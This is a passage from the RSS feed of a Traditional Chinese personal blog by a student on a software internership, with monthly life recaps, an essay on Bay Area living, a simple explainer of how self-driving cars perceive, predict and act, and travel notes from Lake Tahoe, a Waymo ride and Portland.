</span></span></code></pre></div><p>這個比喻有點宅，就不解釋具體意思了。但概念就是，與其說我的人生又結束了一段旅程，其實更像是我在灣區有一個人生，在匹茲堡也有一個人生，而搭上飛機就相當於我的大腦把這段人生的紀錄存檔，永久冰封在某個長期記憶冷凍庫，然後把匹茲堡的記憶解凍，重新載入，像「大夢初醒」的感覺吧。</p>
<p>再度見到 MSE 的同學和許久不見的其他台灣人，與其說我們在互相分享暑假實習做了些什麼，那個聊天的過程其實更像是：</p>
<!-- prettier-ignore -->
<blockquote>
<p>「欸我跟你縮哦我昨天做了一場超漫長的夢我夢到我在西岸工作，超屎的」</p>
<p>『幹真假，也太怪』</p>
<p>「但那邊的亞洲食物比這邊好吃太多了而且 XXX 也在，他車開的超爛然後那個 XXX 還 XXX」</p>
<p>『屁啦，怎麼可能&hellip;』</p>
</blockquote>
<p>總之，在匹茲堡公寓的床上起床，看到旁邊躺著 IKEA 鯊魚，走進浴室又看到薛丁格馬桶依舊沖不下去就知道，嗯我回來了。</p>
<h2 id="-新常態" class="relative group">🎍 新常態 </h2><p>相對工作的時候就是上班時間就上班，下班時間可以百分之百支配自己的時間，回學校就是上課之外，下課之後還有各種作業和雜事需要處理，更像是在打游擊戰。</p>
<p>最後一個學期的主要任務，大概是：</p>
<ol>
<li>找工作：先不考慮實習那邊會不會有好消息的話</li>
<li>修兩門課：這學期選了 <abbr title="資料庫">Database</abbr> 跟 <abbr title="分散式系統">Distributed Systems</abbr>，其實都是想認真鑽研的領域，而且也對未來工作很有幫助</li>
<li>MSE Practicum：就是上面提到的專題</li>
<li>Cloud Computing TA：上學期的選修，修完之後這學期來當助教了</li>
</ol>
<p>只能說我高估我的工作量了，開學前兩週的工作量真的是有點喘不過氣 QQQQQ</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><p>這個月沒有訂目標 <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>，最近久違的跟一些朋友線上聊天之後，突然有了一些新的想法。</p>
<p>我之前應該有說過，寫部落格是一個「提供反思、然後重新掌舵生活」的一個好方法。雖然我每個月還是有在定期產出文章，收到的回饋其實也沒有太大的變化，但我自己其實知道，過去的兩三個月其實寫起來更像是在敷衍自己。相較於某一些時期，寫報報能夠重新賦予生活一些方向和意義，來讓我下個月的生活過的更好，最近這樣的感受真的是少了許多。從發文日期應該也多少看的出一些端倪，這篇文居然拖了半個月。</p>
<p>追根究底好像還是一個簡單的理由：太忙了，根本沒必要這麼忙。</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>重要</th>
          <th>不重要</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>緊急</td>
          <td>找工作</td>
          <td>TA</td>
      </tr>
      <tr>
          <td>不緊急</td>
          <td>修課</td>
          <td>Practicum</td>
      </tr>
  </tbody>
</table>
<figcaption class="text-center">這張表格放在這裡謹惕自己</figcaption>
<p>結論：下個月很簡單：</p>
<ul>
<li>多出門、去參加活動、去泡在咖啡廳，幹啥都好</li>
<li>每天 12 點準時躺到床上看書，看到睡著，然後把那篇寫到一半的書評給寫完</li>
<li>準時發報報</li>
</ul>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-august-dump/water-lantern.jpg"
      class="mx-auto my-0 rounded-md"
      alt="水燈上寫著 Peace &amp; Love 還有 a5a5aa555oo1a1aa555oo"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">這個月為數不多的活動——放水燈 🫶🏻</figcaption>
</figure>
</p>
<p>希望下個月有多一點東西可以寫！啵掰！</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>Well&hellip;其實有，只是那幾篇 What&rsquo;s on my stack 差不多是胎死腹中了&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2024-august-dump</guid><pubDate>Sun, 15 Sep 2024 01:58:52 -0400</pubDate></item><item><title>🇺🇸 舊金山灣區</title><link>https://blog.tomy.me/zh-tw/posts/sf-bay-area/</link><description>深入解析「灣區鬆弛感」</description><content:encoded><![CDATA[<p>雖然之前已經短暫造訪舊金山和灣區幾次，但這次暑假去實習才稱得上是「常住」一陣子，當然也就會對這個地方抱以不同的眼光看待。住久了也自然就可以開始理解，為什麼台灣人 (或者說大部分的亞洲人) 會喜歡這個地方。</p>
<h2 id="-魔術大晴天" class="relative group">☀️ 魔術大晴天 </h2><ul>
<li>不會下雨：我帶了一把傘去，唯一的功能是佔用我來回飛機的行李箱空間，從來沒打開過，回匹茲堡打開的時候還拍了點灰塵下來。</li>
<li>隨時有陽光：除了夏天熱浪來可能會曬傷之外，平常就算是豔陽天，曬起來其實挺舒服的，走在路上也不會覺得熱，甚至不會流汗</li>
<li>冬天不冷：雖然沒有親自體驗過，但據說是一件薄外套配長褲就能打發</li>
</ul>
<h2 id="-大量的自然景點" class="relative group">🏞️ 大量的自然景點 </h2><p>往西邊有海岸，往東邊有各種登山步道，這些景點的風景單獨看的時候其實都很頂，就算每個週末去一個一年也去不完。</p>
<h2 id="-同溫層厚" class="relative group">☁️ 同溫層厚 </h2><ul>
<li>到處都是台灣人：不管去哪，基本上都遇得到，要不遇到可能還比較難一點。</li>
<li>餐廳、超市都很亞洲：餐廳大的有鼎泰豐，小的有某些移民第二代開的，口味還原度大部分都蠻高的，不好吃的亞洲餐廳是會被自然淘汰的。大華超市裡什麼都賣，我離開的時候還帶了一盒義美的中秋禮盒，然後就發現其實下次從台灣回來根本也不用帶什麼，反正沒什麼是買不到的。</li>
<li>中文 OK：反正開口先講中文，不通就比手畫腳，基本上餓不死。</li>
</ul>
<p>套句小紅書的用語，就是名副其實的「鬆弛感」</p>
<h2 id="-小結" class="relative group">🎁 小結 </h2><p>其實想想會發現，這不就是「美國新竹」嗎？如果你住在新竹很多年，然後不會覺得生活有什麼不方便，因為新竹有所有你需要的東西，那也許灣區會很適合你。</p>
<p>說白了一個竹科硬體工程師的一週可能是：平日上班，週末去巨城 + 吃拉麵或在家打電動。灣區軟體工程師可能是：平日上班，週末去爬某個登山步道或是打羽球或排球。說實在的其實根本一模一樣 (?)</p>
<h2 id="-這不是我" class="relative group">🫥 這不是我 </h2><p>於是我就發現這地方好像不是那麼適合我：（</p>
<p>首先我對自然景點沒太大興趣，給我十座山的風景，我會說他們都很漂亮，但我會覺得去一座就好了，反正我分不出來：）</p>
<p>再來，我喜歡在街上亂逛的感覺，但灣區並不存在這種「可以逛」的地方，因為點到點的距離都很遙遠，大眾運輸也不方便，差不多就是沒車 == 斷腿，哪都去不了。</p>
<p>矽谷集結了全世界最聰明的軟體工程師，這群人打造的軟體之精湛，即便放大到全世界的維度，都能夠高效率的運行，然後這群人卻把自己居住的城市<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>打造成沒了車子就哪裡都去不了的荒漠，然後再說解決方案是造自駕車，我至今依舊不能理解。</p>
<p>而且我不喜歡車，甚至有點討厭，這是另外一個可以改天再講的故事，但簡單來說，如果可以選擇走在路上感受一個街區的氛圍和活力，我才不要把自己困在一塊移動的金屬塊裡。</p>
<p>雖然也不是喜歡下雨天的人，但我更喜歡天氣是稍微有一點變化的，這個概念可以套用在各種規模，我滿認同一種說法是：居住在四季鮮明地區的人往往更有創造力，因為在變化豐富的環境可以激發出更多新的想法，而這個地區也會進一步的有更豐富的文化跟歷史，灣區基本上就是一個反面的例子。</p>
<p>最後一點，呼應前面提到的，這地方沒什麼文化，藝文活動太少了，生活少了這一大塊讓我覺得心靈很空虛。</p>
<h2 id="-結論" class="relative group">💭 結論 </h2><p>灣區或許是全世界台灣以外最台灣的地方，如果你是一名在台灣混不下去的台灣人 (不管是畢業找不到工作，還是被通緝)，就算不會講英文，都照樣能在這個地方活的很舒服。<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>說城市還有點太好聽，除了舊金山市中心外，其他地方平均樓高不超過 4 樓，沒有所謂的天際線可言，說是一個鄉村可能更適合一點。&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>假設竹聯幫不來美國找你算帳的話&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">sf-bay-area</guid><pubDate>Sat, 14 Sep 2024 16:29:16 -0400</pubDate></item><item><title>ELI5: 如何在自家後院打造一台自駕車</title><link>https://blog.tomy.me/zh-tw/posts/eli5-how-does-self-driving-work/</link><description>不就是放大一點的遙控車嗎，應該不難吧 (?)</description><content:encoded><![CDATA[<p>實習最後幾天有幸跟做自駕車核心演算法的同事聊了一下，學到不少。</p>
<p>這篇文就把大家當 5 歲小孩，簡單教大家如何在自己家的後院造一台自駕車吧！</p>
<h2 id="-給西" class="relative group">🛠️ 給西 </h2><p>如果你要蓋一間小木屋，你可以去 Home Depot 或特力屋買到所有你需要的材料和工具。但絕大部分需要用來打造自駕車系統的工具，都是各家公司自己打造的，所以你需要的各種工具，也都需要自己打造。 <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>比方說 Cruise 打造了這個叫 <a href="https://medium.com/cruise/introducing-worldview-749aaf98112d" target="_blank" rel="noreferrer">Worldview<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 的套件。好不好用&hellip;&hellip;我也不知道，但看看他們放在部落格上的圖片，簡直酷斃了。</p>
<p>說起來簡單，但打造這些工具和平台的工作量，其實完全不小於寫自駕車算法本身。加上前面提到，目前沒有公用或對外開放的工具似乎也隱示了這或許會是一個不錯的創業主題，畢竟淘金熱最後真正賺錢的，似乎都是賣鏟子的 (?)</p>
<h2 id="-造車" class="relative group">🚙 造車 </h2><p>大部分自駕車公司會選擇跟現有的車廠買車，然後拖回家爆改。或是像現在在舊金山市區跑的 Waymo 是 Jaguar 為他們客製化的。也有些公司，對於自駕車有不同的想像，那可能就會選擇自己從頭把車子造起來，比方說 <a href="https://zoox.com/vehicle" target="_blank" rel="noreferrer">Zoox<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 認為自駕車的真諦是讓買不起車子的人也能便宜的使用公用的車，所以他們的車會更像高級版的計程車。</p>
<hr>
<p>接下來終於到重頭戲：核心的自駕車演算法</p>
<p>用一個人開車來比喻的話，一般駕駛的流程大概是：</p>
<ol>
<li>駕駛觀察周圍環境</li>
<li>預測周圍的車、行人、環境接下來的變化</li>
<li>做出相對反應的操作</li>
</ol>
<p>自駕車的運作邏輯也差不多，就一個一個按順序介紹：</p>
<h2 id="-perception" class="relative group">👀 Perception </h2><p>第一步對應的步驟叫做 <abbr title="感知">Perception</abbr>，車子會透過 <abbr title="光學雷達">Lidar</abbr>、鏡頭、或是其他感測器來偵測周圍的環境。這些訊號進到系統之後，還要經過一系列的程序，把訊號轉換成有用的資訊，比方說：</p>
<ul>
<li>前面的這個寬 3 公尺的方塊正在向前移動，他可能是台車子，不可撞。</li>
<li>路邊有一塊半透明的不明物體漸漸往路中間移動，可能是塑膠袋，可以嚕過去。</li>
</ul>
<p>關於感測器的一個著名的路線之爭就是</p>
<blockquote>
<p>自駕車要不要用 Lidar?</p>
</blockquote>
<p>開車經驗稍微豐富的人就會知道，有時候在高速公路上，即便我們正前方的車沒有減速，但我們可能會透過看到更前面的路況，因此預先踩煞車。一般來說，現在的攝影鏡頭能感知到的範圍很有限，一方面受限於鏡頭解析度 (拍攝畫面清不清楚)，另一方面也受限於系統資源 (電腦沒辦法即時處理大量的影像畫面)。Lidar 的訊號則可以輕鬆的收集更遠的環境資訊，準確度也較高，缺點就是造價昂貴、還有裝在車上非常突兀，不符合 Elon Musk 對車子的審美觀。這也是為什麼 (目前) <a href="https://www.tesla.com/support/transitioning-tesla-vision" target="_blank" rel="noreferrer">Tesla<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 主張他們不會採用 Lidar 車子也可以開的好好的，未來能不能跟 Lidar 派平起平坐，還有待觀察。</p>
<p>除了即時偵測環境，有些自駕車公司也會收集某些特定的區域的<a href="https://waymo.com/blog/2020/09/the-waymo-driver-handbook-mapping/" target="_blank" rel="noreferrer">高精準度地圖<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，比方說一條路上哪裡有標線、路樹、停車格、消防栓、紅綠燈。預先知道這些物件，可以降低不穩定性、提前決策。但收集這種地圖的資料也非常耗費時間、人力成本，另外，如果車子開到的這條路今天剛好在施工，跟預期的道路長的不一樣的時候，應該要相信偵測到的訊號，還是懷疑下水道的煙霧阻擋了相機？</p>
<h2 id="-prediction" class="relative group">🧠 Prediction </h2><p>車子不只要能夠看到右前方有一個人，在做出決策前，還要知道他接下來會不會走到車子前面。換句話說，還要能夠預測每個周圍物件的下一步。</p>
<p>而且預測的範圍是：車子周圍的每一個物件。因為當車子偵測到行人即將走到車子前面時，車子對於應該煞車，左轉，還是右轉，也取決於左右兩邊、後面其他環境可能的反應。</p>
<p>另外，演算法對於預測的結果有多少把握？有沒有可能失準？決策要怎麼跟預測結果配合？都會是很複雜的問題。</p>
<p>對於 L3、L4 的自駕車演算法，有時甚至還得產生多種不同的情境，來應付可能的複雜場景。</p>
<h2 id="-decision" class="relative group">📢 Decision </h2><p>現在車子的腦海裡有接下來幾秒可能會發生的事，下一步就是生成對應的決策，比方說要煞車還是轉彎？</p>
<p>這個步驟其實就跟<a href="https://youtu.be/UMQwFhYMlqY?si=Dr4yIfF4nI2V7dUL&amp;t=114" target="_blank" rel="noreferrer">《超急快遞》中的一個片段<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>非常相似，先產生很多決策，然後從中間選擇一個最合理的來執行。同時，這些決策也會被儲存下來，這樣出車禍的時候才能夠回頭檢驗，車子當時在「想什麼」。</p>
<p>這一步考慮的不只是安全，也可能會考量乘客的舒適度等其他更複雜，難以想像的因素。比方說，前面突然有障礙物，雖然車子覺得煞得住，但可能會對乘客產生強大的後座力，那轉向右邊的空地會不會更好一點? <sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<h2 id="-motion--control" class="relative group">🛞 Motion &amp; Control </h2><p>現在車子知道要在接下來的 2 秒內從 40km/hr 減速到停止，煞車踩太用力，乘客不舒服，踩太慢，可能會煞不住。理想的煞車曲線是先輕輕踩，慢慢加深，降低到一定速度之後，再跟著慢慢鬆開，減少完全停止時的頓挫感。這時就需要複雜的數學計算，把這條煞車曲線換算成一張圖表，再進一步決定每一個毫秒具體是採多少 cm 的煞車。</p>
<p>不同廠牌的車子可能也有不一樣的邏輯，沒辦法用同一套標準來執行，有些車的方向盤打一圈是轉 90°，有些車得打兩圈。</p>
<p>要怎麼真的踩煞車、打方向盤，硬體、機械控制組件要怎麼配合又是另外一回事了&hellip;&hellip;</p>
<p>最後一個問題，行車電腦當機了怎麼辦？</p>
<hr>
<p>當你成功解決上述所有的難題之後，一輛自駕車就誕生囉！</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>顯然即便是造車的公司，還是有可能不懂不要<a href="https://zh.wikipedia.org/zh-hant/%E9%87%8D%E9%80%A0%E8%BD%AE%E5%AD%90" target="_blank" rel="noreferrer">重複造輪子<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>的概念 (?)&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>如果要減少這個「突然」的機率，就又會回到前面是否要採用 Lidar 的問題&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>📱 科技</category><guid isPermaLink="false">eli5-how-does-self-driving-work</guid><pubDate>Thu, 05 Sep 2024 02:44:53 -0400</pubDate></item><item><title>2024 年 7 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2024-july-dump/</link><description>盛夏光年只剩下一個月ㄌ</description><content:encoded><![CDATA[<p>真的是好奇怪餒，為什麼經常月中的時候好閒，每次都想著要不要乾脆提早把報報寫一寫，結果最後總還是拖到月底當死線戰士，然後月底事情一蹦出來就很難專心坐下來寫報報 QQ</p>
<p>發現目標回顧放在結尾好像略顯沈重，這次拉到前面來好了</p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><h3 id="whats-on-my-stack" class="relative group">🟡《What’s on My Stack》 </h3><p>寫到一半才發現有點多，不得不拆成三部曲，然後首部曲發完就忘的一乾二淨了：）</p>
<p>另外一個更大的問題是：我寫完在校稿的時候才想到，當初訂下這個目標的如意算盤是想要寫英文版，之後可以放在履歷或作品集裡面拿去找工作。現在第一篇寫完再回頭去讀這篇文章的時候才發現文章結構支離破碎，前因後果交代不清，只是硬塞了一堆<del>我想炫的</del>不重要的東西。</p>
<p>Anyway，歡迎有興趣的人<a href="/zh-tw/posts/whats-on-my-stack-2024-i/">移駕去看看</a>，接下來兩篇目前計畫是</p>
<ul>
<li>二部曲：Mailcow, Plausible Analytics, Remark42</li>
<li>三部曲：VPN, Photos, NocoDB</li>
</ul>
<p>有可能會改，但歡迎敲碗 (?) 或在那篇文下面留言任何問題，我看到隨時會回</p>
<p><small>p.s. 留言前可以點右下角輸入 Email，這樣我或其他人回覆的時候可以收到通知，當然 email 裡也可以隨時取消訂閱</small></p>
<h3 id="下個十年" class="relative group">✅《下個十年》 </h3><p>也寫完ㄌ，有興趣可以<a href="/zh-tw/posts/next-10-years/">去看看</a>。</p>
<p>算是我這一陣子在實習零零總總累積，關於未來工作的一些想像，和一些午夜夢迴的狂想。其實主要還是在思考我到底想要什麼，依照過去上大學一路到現在的經驗，有一些長線佈局是有很多好處的，一夕之前要達成了不起的成就不容易，但如果 <abbr title="分而治之">Divide-and-Conquor</abbr>，總是會顯得容易得多。</p>
<h3 id="-啟動找工作模式" class="relative group">✅ 啟動找工作模式 </h3><p>勉強算是達成 嗎 (?)</p>
<p>更新履歷、設定 LinkedIn 的職缺通知、然後投了零星幾個比較早開的職缺。至於之前想說要找人內推和針對職缺客製化履歷的部分，還在想要怎麼搞，估計接下來實習快結束，開學之後又要來頭痛一波 QQ</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><p>有鑑於接下來又要開始忙起來，除了上面 What’s on My Stack 寫完之外，這個月就先不挖新的坑了。</p>
<h2 id="-lake-tahoe" class="relative group">🏞️ Lake Tahoe </h2><p>國慶日快樂！</p>
<p>美國國慶日是 7/4 禮拜四，雖然公司禮拜五沒有放，但大家都還是用 <abbr title="Paid Time Off 有薪假">PTO</abbr> 請假了，那我當然也請假去度假囉 ᕕ ( ᐛ ) ᕗ</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-july-dump/tahoe-overview.jpg"
      class="mx-auto my-0 rounded-md"
      alt="遠眺 Lake Tahoe"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>Lake Tahoe 中文稱太浩湖，位於加州東北邊，開車距離我住的 San Jose 大約三到四個小時。其實感覺上跟日月潭差不多，只是面積放大 60 倍，然後天氣好一點、有沙灘、可以玩立槳跟各種水上活動，或是周圍也有一些步道可以走走。</p>
<p>回程經過知名的 Napa Valley 隨便找了一間葡萄酒莊去 Wine Tasting。雖然我是負責當指定駕駛，但在莊園喝葡萄果汁享受好天氣還是挺 chill 的。</p>
<h2 id="-waymo-one-初體驗" class="relative group">🚙 Waymo One 初體驗 </h2><p>雖然之前入職的時候，我就有坐過我們公司的自駕車了，但這個月去舊金山玩的時候還是跟風去體驗了一下 Waymo One —— Google 旗下的自駕車公司 Waymo 推出的計程車服務。</p>


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2024-july-dump/waymo.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="Waymo 的後座面板，畫面上可以看到車子偵測到周邊的景物，下方還有兩個手機充電插孔"
      loading="lazy" decoding="async"
    />
  </picture>


    <figcaption class="text-center">Waymo 的後座面板</figcaption>
  </figure>


<p>說實在的，高中搭了整整 3 年的 <a href="https://www.student.tw/topic/39149-%E3%80%90%E5%88%86%E4%BA%AB%E3%80%91530%E8%BB%8A%E7%A5%9E/" target="_blank" rel="noreferrer">530<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，我對交通工具的平穩度本來就沒啥太大要求，飛機遇到亂流我也照樣睡的很香。</p>
<p>但坐完這一趟最大的觀察其實不是關於自駕車本身，而是另外一個附加現象：</p>
<blockquote>
<p>一個人坐自駕車，車上真的就是一個人。</p>
</blockquote>
<p>雖然說起來好像有種「聽君一席話，如聽一席話」的感覺，但套用車上的簡介影片可能會更能說明我想表達的概念：「&hellip;車上沒有任何監視器，所以歡迎盡情放聲歌唱」<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p>之前在歐洲交換的時候就曾經有過這麼一個場景，身為 I 人的我，即便當下沒有特別想吃速食，但我還是經常走進麥當勞，因為我可以在自助點餐機自己點餐、取餐、吃完離開——完全不用跟人講話。這也讓我意識到，長久以來我抗搭乘計程車，倒也不是因為怕遇到開車魯莽的司機，我更不喜歡的是一直想找我講話的司機。所以如果自駕計程車在未來大幅普及，價格也相對親民的時候，說不定我不會排斥以自駕計程車作為一種通勤的方式。<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<p>但反面的來說，我也可以想像喜歡跟計程車司機聊天的人坐到這種計程車會有多無聊。之前就有看過一篇報導，說法國的超市雖然 80% 的結帳都已經是自助的了，但是每間店都還是會故意的留下幾條人工結帳的通道，因為超市發現有很多小孩已經長大、搬出家裡的退休老人家很喜歡去超市跟店員聊天，這是他們保持跟社會連結、保持年輕的一種生活方式。</p>
<p>很多新聞在報導這類自駕車的時候都喜歡附帶一句：「計程車司機即將被取代」</p>
<p>在人類被完全禁止開車上路之前，我倒覺得未必。</p>
<h2 id="-portland" class="relative group">🌹 Portland </h2><p>作為今年暑假唯一的週末小獨旅，月底又請了一天 PTO 連著週末三天兩夜，去了奧勒岡州的首府，玫瑰之城——波特蘭。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-july-dump/greeny-portland-downtown.jpg"
      class="mx-auto my-0 rounded-md"
      alt="綠意盎然的市區"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">波特蘭的市中心充滿綠色植栽，也有很多徒步區是直接鋪上石磚，散步起來非常舒服</figcaption>
</figure>
</p>
<p>不知道是不是因為我來的時間是假日，波特蘭的市區雖然不到冷清，但路上的人相對沒這麼多，有種格外清幽，但不至於落魄的感覺。相對於舊金山灣區去哪沒車都很不方便，波特蘭不僅有完整的輕軌、公車路網、類似 Ubike 的公共自行車系統，市中心路口間距也不大，又充滿許多酷酷的商店，走起路來挺有趣的，所以這一趟來也就沒有另外租車，以美國旅遊來說，算是個非常友善荷包的選擇 👍🏻</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-july-dump/portland-japanese-garden.jpg"
      class="mx-auto my-0 rounded-md"
      alt="日式造景的花園，池水映照著山林"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">第二天搭輕軌到市區西邊的 Washington Park 參觀裡面的 Japanese Garden</figcaption>
</figure>
</p>


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2024-july-dump/bring-back-the-carpet.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="機場施工的佈告欄上有一個巨大的便條紙寫著：「把地毯弄回來！」"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>


<p>波特蘭機場最近正好在施工，但市民們一點都不關心新航廈長什麼樣子，<a href="https://en.wikipedia.org/wiki/Portland_International_Airport_carpet" target="_blank" rel="noreferrer">他們只在乎原本遠近馳名的地毯能不能回來<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 